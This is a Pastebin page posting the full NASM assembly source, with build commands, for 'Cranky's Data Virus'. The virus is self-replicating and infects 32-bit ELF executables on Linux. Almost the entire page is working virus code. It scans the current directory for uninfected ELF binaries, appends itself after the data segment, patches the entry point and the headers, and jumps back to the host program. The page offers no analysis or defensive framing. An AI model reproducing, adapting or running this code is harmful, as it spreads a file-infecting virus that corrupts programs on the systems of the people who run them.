Advertisement
FlyFar

Cranky's Data Virus - infecting 32-bit ELF executables on Linux - Source Code

Jul 4th, 2023
1,298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 13.95 KB | Cybersecurity | 0 0
  1. ;; nasm -f elf -F dwarf -g cranky_data_virus.asm
  2. ;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o
  3.  
  4. section .text
  5.     global v_start
  6.  
  7. v_start:
  8.     ; virus body start
  9.  
  10.     ; make space in the stack for some uninitialized variables to avoid a .bss section
  11.     mov ecx, 2328   ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
  12. loop_bss:
  13.     push 0x00       ; reserve 4 bytes (double word) of 0's
  14.     sub ecx, 1      ; decrement our counter by 1
  15.     cmp ecx, 0
  16.     jbe loop_bss
  17.     mov edi, esp    ; esp has our fake .bss offset.  Let's store it in edi for now.
  18.  
  19.     call folder
  20.     db ".", 0
  21. folder:
  22.     pop ebx         ; name of the folder
  23.     mov esi, 0      ; reset offset for targets
  24.     mov eax, 5      ; sys_open
  25.     mov ecx, 0
  26.     mov edx, 0
  27.     int 80h
  28.  
  29.     cmp eax, 0      ; check if fd in eax > 0 (ok)
  30.     jbe v_stop        ; cannot open file.  Exit virus
  31.  
  32.     mov ebx, eax
  33.     mov eax, 0xdc   ; sys_getdents64
  34.     mov ecx, edi    ; fake .bss section
  35.     add ecx, 32     ; offset for buffer
  36.     mov edx, 1024
  37.     int 80h
  38.  
  39.     mov eax, 6  ; close
  40.     int 80h
  41.     xor ebx, ebx    ; zero out ebx as we will use it as the buffer offset
  42.  
  43. find_filename_start:
  44.     ; look for the sequence 0008 which occurs before the start of a filename
  45.     inc ebx
  46.     cmp ebx, 1024
  47.     jge infect
  48.     cmp byte [edi+32+ebx], 0x00     ; edi+32 is buffer
  49.     jnz find_filename_start
  50.     inc ebx
  51.     cmp byte [edi+32+ebx], 0x08     ; edi+32 is buffer
  52.     jnz find_filename_start
  53.  
  54.     xor ecx, ecx    ; clear out ecx which will be our offset for file
  55.     mov byte [edi+ecx], 0x2e   ; prepend file with ./ for full path (.)  edi is filename
  56.     inc ecx
  57.     mov byte [edi+ecx], 0x2f   ; prepend file with ./ for full path (/)  edi is filename
  58.     inc ecx
  59.  
  60. find_filename_end:
  61.     ; look for the 00 which denotes the end of a filename
  62.     inc ebx
  63.     cmp ebx, 1024
  64.     jge infect
  65.  
  66.     push esi                ; save our target offset
  67.     mov esi, edi            ; fake .bss
  68.     add esi, 32             ; offset for buffer
  69.     add esi, ebx            ; set source
  70.     push edi                ; save our fake .bss
  71.     add edi, ecx            ; set destination to filename
  72.     movsb                   ; moved byte from buffer to filename
  73.     pop edi                 ; restore our fake .bss
  74.     pop esi                 ; restore our target offset
  75.     inc ecx                 ; increment offset stored in ecx
  76.  
  77.     cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
  78.     jnz find_filename_end
  79.  
  80.     mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
  81.  
  82.     push ebx                ; save our offset in buffer
  83.     call scan_file
  84.     pop ebx                 ; restore our offset in buffer
  85.  
  86.     jmp find_filename_start ; find next file
  87.  
  88. scan_file:
  89.     ; check the file for infectability
  90.     mov eax, 5      ; sys_open
  91.     mov ebx, edi    ; path (offset to filename)
  92.     mov ecx, 0      ; O_RDONLY
  93.     int 80h
  94.  
  95.     cmp eax, 0      ; check if fd in eax > 0 (ok)
  96.     jbe return      ; cannot open file.  Return
  97.  
  98.     mov ebx, eax    ; fd
  99.     mov eax, 3      ; sys_read
  100.     mov ecx, edi    ; address struct
  101.     add ecx, 2080   ; offset to targetfile in fake .bss
  102.     mov edx, 12     ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
  103.     int 80h
  104.  
  105.     call elfheader
  106.     dd 0x464c457f     ; 0x7f454c46 -> .ELF (but reversed for endianness)
  107. elfheader:
  108.     pop ecx
  109.     mov ecx, dword [ecx]
  110.     cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword).  edi+2080 is offset to targetfile in fake .bss
  111.     jnz close_file  ; not an executable ELF binary.  Return
  112.  
  113.     ; check if infected
  114.     mov ecx, 0x001edd0e     ; 0x0edd1e00 signature reversed for endianness
  115.     cmp dword [edi+2080+8], ecx   ; signature should show up after the 8th byte.  edi+2080 is offset to targetfile in fake .bss
  116.     jz close_file                   ; signature exists.  Already infected.  Close file.
  117.  
  118. save_target:
  119.     ; good target!  save filename
  120.     push esi    ; save our targets offset
  121.     push edi    ; save our fake .bss
  122.     mov ecx, edi    ; temporarily place filename offset in ecx
  123.     add edi, 1056   ; offset to targets in fake .bss
  124.     add edi, esi
  125.     mov esi, ecx    ; filename -> edi -> ecx -> esi
  126.     mov ecx, 32
  127.     rep movsb   ; save another target filename in targets
  128.     pop edi     ; restore our fake .bss
  129.     pop esi     ; restore our targets offset
  130.     add esi, 32
  131.  
  132. close_file:
  133.     mov eax, 6
  134.     int 80h
  135.  
  136. return:
  137.     ret
  138.  
  139. infect:
  140.     ; let's infect these targets!
  141.     cmp esi, 0
  142.     jbe v_stop ; there are no targets :( exit
  143.  
  144.     sub esi, 32
  145.  
  146.     mov eax, 5              ; sys_open
  147.     mov ebx, edi            ; path
  148.     add ebx, 1056           ; offset to targets in fake .bss
  149.     add ebx, esi            ; offset of next filename
  150.     mov ecx, 2              ; O_RDWR
  151.     int 80h
  152.  
  153.     mov ebx, eax            ; fd
  154.  
  155.     mov ecx, edi
  156.     add ecx, 2080           ; offset to targetfile in fake .bss
  157.  
  158. reading_loop:
  159.     mov eax, 3              ; sys_read
  160.     mov edx, 1              ; read 1 byte at a time (yeah, I know this can be optimized)
  161.     int 80h
  162.  
  163.     cmp eax, 0              ; if this is 0, we've hit EOF
  164.     je reading_eof
  165.     mov eax, edi
  166.     add eax, 9312           ; 2080 + 7232
  167.     cmp ecx, eax            ; if the file is over 7232 bytes, let's quit
  168.     jge infect
  169.     add ecx, 1
  170.     jmp reading_loop
  171.  
  172. reading_eof:
  173.     push ecx                ; store address of last byte read. We'll need this later
  174.     mov eax, 6              ; close file
  175.     int 80h
  176.  
  177.     xor ecx, ecx
  178.     xor eax, eax
  179.     mov cx, word [edi+2080+44]     ; ehdr->phnum (number of program header entries)
  180.     mov eax, dword [edi+2080+28]   ; ehdr->phoff (program header offset)
  181.     sub ax, word [edi+2080+42]     ; subtract 32 (size of program header entry) to initialize loop
  182.  
  183. program_header_loop:
  184.     ; loop through program headers and find the data segment (PT_LOAD, offset>0)
  185.  
  186.     ;0  p_type  type of segment
  187.     ;+4 p_offset    offset in file where to start the segment at
  188.     ;+8 p_vaddr his virtual address in memory
  189.     ;+c p_addr  physical address (if relevant, else equ to p_vaddr)
  190.     ;+10    p_filesz    size of datas read from offset
  191.     ;+14    p_memsz size of the segment in memory
  192.     ;+18    p_flags segment flags (rwx perms)
  193.     ;+1c    p_align alignement
  194.     add ax, word [edi+2080+42]
  195.     cmp ecx, 0
  196.     jbe infect                  ; couldn't find data segment.  let's close and look for next target
  197.     sub ecx, 1                  ; decrement our counter by 1
  198.  
  199.     mov ebx, dword [edi+2080+eax]   ; phdr->type (type of segment)
  200.     cmp ebx, 0x01                   ; 0: PT_NULL, 1: PT_LOAD, ...
  201.     jne program_header_loop             ; it's not PT_LOAD.  look for next program header
  202.  
  203.     mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
  204.     cmp ebx, 0x00                       ; if it's 0, it's the text segment.  Otherwise, we found the data segment
  205.     je program_header_loop              ; it's the text segment.  We're interested in the data segment
  206.  
  207.     mov ebx, dword [edi+2080+24]        ; old entry point
  208.     push ebx                            ; save the old entry point
  209.     mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
  210.     mov edx, dword [edi+2080+eax+16]    ; phdr->filesz (size of segment on disk)
  211.     add ebx, edx                        ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
  212.     push ebx                            ; save the offset of our virus
  213.     mov ebx, dword [edi+2080+eax+8]     ; phdr->vaddr (virtual address in memory)
  214.     add ebx, edx        ; new entry point = phdr[data]->vaddr + p[data]->filesz
  215.  
  216.     mov ecx, 0x001edd0e     ; insert our signature at byte 8 (unused section of the ELF header)
  217.     mov [edi+2080+8], ecx
  218.     mov [edi+2080+24], ebx  ; overwrite the old entry point with the virus (in buffer)
  219.     add edx, v_stop - v_start   ; add size of our virus to phdr->filesz
  220.     add edx, 7                  ; for the jmp to original entry point
  221.     mov [edi+2080+eax+16], edx  ; overwrite the old phdr->filesz with the new one (in buffer)
  222.     mov ebx, dword [edi+2080+eax+20]    ; phdr->memsz (size of segment in memory)
  223.     add ebx, v_stop - v_start   ; add size of our virus to phdr->memsz
  224.     add ebx, 7                  ; for the jmp to original entry point
  225.     mov [edi+2080+eax+20], ebx  ; overwrite the old phdr->memsz with the new one (in buffer)
  226.  
  227.     xor ecx, ecx
  228.     xor eax, eax
  229.     mov cx, word [edi+2080+48]      ; ehdr->shnum (number of section header entries)
  230.     mov eax, dword [edi+2080+32]    ; ehdr->shoff (section header offset)
  231.     sub ax, word [edi+2080+46]      ; subtract 40 (size of section header entry) to initialize loop
  232.  
  233. section_header_loop:
  234.     ; loop through section headers and find the .bss section (NOBITS)
  235.  
  236.     ;0  sh_name contains a pointer to the name string section giving the
  237.     ;+4 sh_type give the section type [name of this section
  238.     ;+8 sh_flags    some other flags ...
  239.     ;+c sh_addr virtual addr of the section while running
  240.     ;+10    sh_offset   offset of the section in the file
  241.     ;+14    sh_size zara white phone numba
  242.     ;+18    sh_link his use depends on the section type
  243.     ;+1c    sh_info depends on the section type
  244.     ;+20    sh_addralign    alignement
  245.     ;+24    sh_entsize  used when section contains fixed size entrys
  246.     add ax, word [edi+2080+46]
  247.     cmp ecx, 0
  248.     jbe finish_infection        ; couldn't find .bss section.  Nothing to worry about.  Finish the infection
  249.     sub ecx, 1                  ; decrement our counter by 1
  250.  
  251.     mov ebx, dword [edi+2080+eax+4]     ; shdr->type (type of section)
  252.     cmp ebx, 0x00000008         ; 0x08 is NOBITS which is an indicator of a .bss section
  253.     jne section_header_loop     ; it's not the .bss section
  254.  
  255.     mov ebx, dword [edi+2080+eax+12]    ; shdr->addr (virtual address in memory)
  256.     add ebx, v_stop - v_start   ; add size of our virus to shdr->addr
  257.     add ebx, 7                  ; for the jmp to original entry point
  258.     mov [edi+2080+eax+12], ebx  ; overwrite the old shdr->addr with the new one (in buffer)
  259.  
  260. section_header_loop_2:
  261.     mov edx, dword [edi+2080+eax+16]    ; shdr->offset (offset of section)
  262.     add edx, v_stop - v_start   ; add size of our virus to shdr->offset
  263.     add edx, 7                  ; for the jmp to original entry point
  264.     mov [edi+2080+eax+16], edx  ; overwrite the old shdr->offset with the new one (in buffer)
  265.  
  266.     add eax, 40
  267.     sub ecx, 1
  268.     cmp ecx, 0
  269.     jg section_header_loop_2    ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping
  270.  
  271. finish_infection:
  272.     ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point)
  273.     ;dword [edi+2080+28]       ; ehdr->phoff (program header offset)
  274.     ;dword [edi+2080+32]       ; ehdr->shoff (section header offset)
  275.     ;word [edi+2080+40]        ; ehdr->ehsize (size of elf header)
  276.     ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry)
  277.     ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries)
  278.     ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry)
  279.     ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries)
  280.     mov eax, v_stop - v_start       ; size of our virus minus the jump to original entry point
  281.     add eax, 7                      ; for the jmp to original entry point
  282.     mov ebx, dword [edi+2080+32]    ; the original section header offset
  283.     add eax, ebx                    ; add the original section header offset
  284.     mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer)
  285.  
  286.     mov eax, 5              ; sys_open
  287.     mov ebx, edi            ; path
  288.     add ebx, 1056           ; offset to targets in fake .bss
  289.     add ebx, esi            ; offset of next filename
  290.     mov ecx, 2              ; O_RDWR
  291.     int 80h
  292.  
  293.     mov ebx, eax            ; fd
  294.     mov eax, 4              ; sys_write
  295.     mov ecx, edi
  296.     add ecx, 2080           ; offset to targetfile in fake .bss
  297.     pop edx                 ; host file up to the offset where the virus resides
  298.     int 80h
  299.     mov [edi+7], edx        ; place the offset of the virus in this unused section of the filename buffer
  300.  
  301.     call delta_offset
  302. delta_offset:
  303.     pop ebp                 ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files.  This will be 0 in our original virus
  304.     sub ebp, delta_offset
  305.  
  306.     mov eax, 4
  307.     lea ecx, [ebp + v_start]    ; attach the virus portion (calculated with the delta offset)
  308.     mov edx, v_stop - v_start   ; size of virus bytes
  309.     int 80h
  310.  
  311.     pop edx                 ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
  312.     mov [edi], byte 0xb8        ; op code for MOV EAX (1 byte)
  313.     mov [edi+1], edx            ; original entry point (4 bytes)
  314.     mov [edi+5], word 0xe0ff    ; op code for JMP EAX (2 bytes)
  315.  
  316.     mov eax, 4
  317.     mov ecx, edi            ; offset to filename in fake .bss
  318.     mov edx, 7              ; 7 bytes for the final jmp to the original entry point
  319.     int 80h
  320.  
  321.     mov eax, 4              ; sys_write
  322.     mov ecx, edi
  323.     add ecx, 2080           ; offset to targetfile in fake .bss
  324.     mov edx, dword [edi+7]  ; offset of the virus
  325.     add ecx, edx            ; let's continue where we left off
  326.  
  327.     pop edx                 ; offset of last byte in targetfile in fake.bss
  328.     sub edx, ecx            ; length of bytes to write
  329.     int 80h
  330.  
  331.     mov eax, 36             ; sys_sync
  332.     int 80h
  333.  
  334.     mov eax, 6              ; close file
  335.     int 80h
  336.  
  337.     jmp infect
  338.  
  339. v_stop:
  340.     ; virus body stop (host program start)
  341.     mov eax, 1      ; sys_exit
  342.     mov ebx, 0      ; normal status
  343.     int 80h
  344.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement